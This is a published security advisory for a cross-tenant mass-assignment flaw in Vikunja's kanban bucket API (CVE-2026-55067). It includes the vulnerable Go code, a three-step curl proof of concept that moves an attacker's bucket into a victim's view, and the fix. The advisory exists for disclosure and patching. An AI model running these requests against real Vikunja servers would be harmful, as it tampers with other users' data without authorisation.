GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-569V-Q83C-3J3G

Vulnerability from github – Published: 2026-08-28 16:55 – Updated: 2026-08-28 16:55
VLAI
Summary
Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment
Details

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ?", b.ID).
        Cols(
            "title",
            "limit",
            "position",
            "project_view_id",   // mass-assigned from the request body
        ).
        Update(b)
    return
}

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7

Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
#   "id": 7,
#   "title": "PWNED BUCKET",
#   "project_view_id": 4
# }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
  -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
#   {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
#   {"id":1,"title":"To-Do","created_by":"victim"},
#   {"id":2,"title":"Doing","created_by":"victim"},
#   {"id":3,"title":"Done","created_by":"victim"}
# ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:55:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body\u0027s `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body\u0027s `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant\u0027s kanban view, with attacker-controlled title and the attacker\u0027s account as `created_by`.\n\nThis vulnerability was found using an LLM, and manually verified against latest (2.3.0).\n\n## Vulnerable code\n\n`pkg/models/kanban.go` (lines 348-359):\n\n```go\nfunc (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ?\", b.ID).\n        Cols(\n            \"title\",\n            \"limit\",\n            \"position\",\n            \"project_view_id\",   // mass-assigned from the request body\n        ).\n        Update(b)\n    return\n}\n```\n\n`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body\u0027s `project_view_id` reaches `Update` unchecked and is written through.\n\n## Proof of Concept\n\n**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker\u0027s project is `2`, kanban view `8`; victim\u0027s project is `1`, kanban view `4`.\n\n**Step 1:** Attacker creates a fresh bucket in their own project.\n\n```bash\ncurl -s -X PUT \u0027http://localhost:13456/api/v1/projects/2/views/8/buckets\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"PWNED BUCKET\"}\u0027 | jq \u0027.id\u0027\n# Returns: 7\n```\n\n**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim\u0027s view ID. The URL chain is the attacker\u0027s, so `CanUpdate` passes; the body field is written through without further checks.\n\n```bash\ncurl -s -X POST \u0027http://localhost:13456/api/v1/projects/2/views/8/buckets/7\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"PWNED BUCKET\",\"limit\":0,\"project_view_id\":4}\u0027 | jq \u0027{id,title,project_view_id}\u0027\n# Returns: {\n#   \"id\": 7,\n#   \"title\": \"PWNED BUCKET\",\n#   \"project_view_id\": 4\n# }\n```\n\n**Step 3:** Victim lists buckets in their own view; the attacker\u0027s bucket is now there, owned by the attacker.\n\n```bash\ncurl -s \u0027http://localhost:13456/api/v1/projects/1/views/4/buckets\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvictim_token\u003e\u0027 | jq \u0027[.[]|{id,title,created_by:.created_by.username}]\u0027\n# Returns: [\n#   {\"id\":7,\"title\":\"PWNED BUCKET\",\"created_by\":\"attacker\"},\n#   {\"id\":1,\"title\":\"To-Do\",\"created_by\":\"victim\"},\n#   {\"id\":2,\"title\":\"Doing\",\"created_by\":\"victim\"},\n#   {\"id\":3,\"title\":\"Done\",\"created_by\":\"victim\"}\n# ]\n```\n\nAfter relocation the attacker can no longer reach the row (it lives in the victim\u0027s view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant\u0027s view can be targeted by enumeration.\n\n## Impact\n\nAny signed-in user can inject arbitrary-titled buckets into any other tenant\u0027s kanban view. Most likely exploitation here would be graffiti/defacement.\n\n## Fix\n\nIn `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate \"move bucket between views\" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.",
  "id": "GHSA-569v-q83c-3j3g",
  "modified": "2026-08-28T16:55:16Z",
  "published": "2026-08-28T16:55:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-569v-q83c-3j3g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/b31d606b8879ebe98fbb2ac5d8b3066b86f59868"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…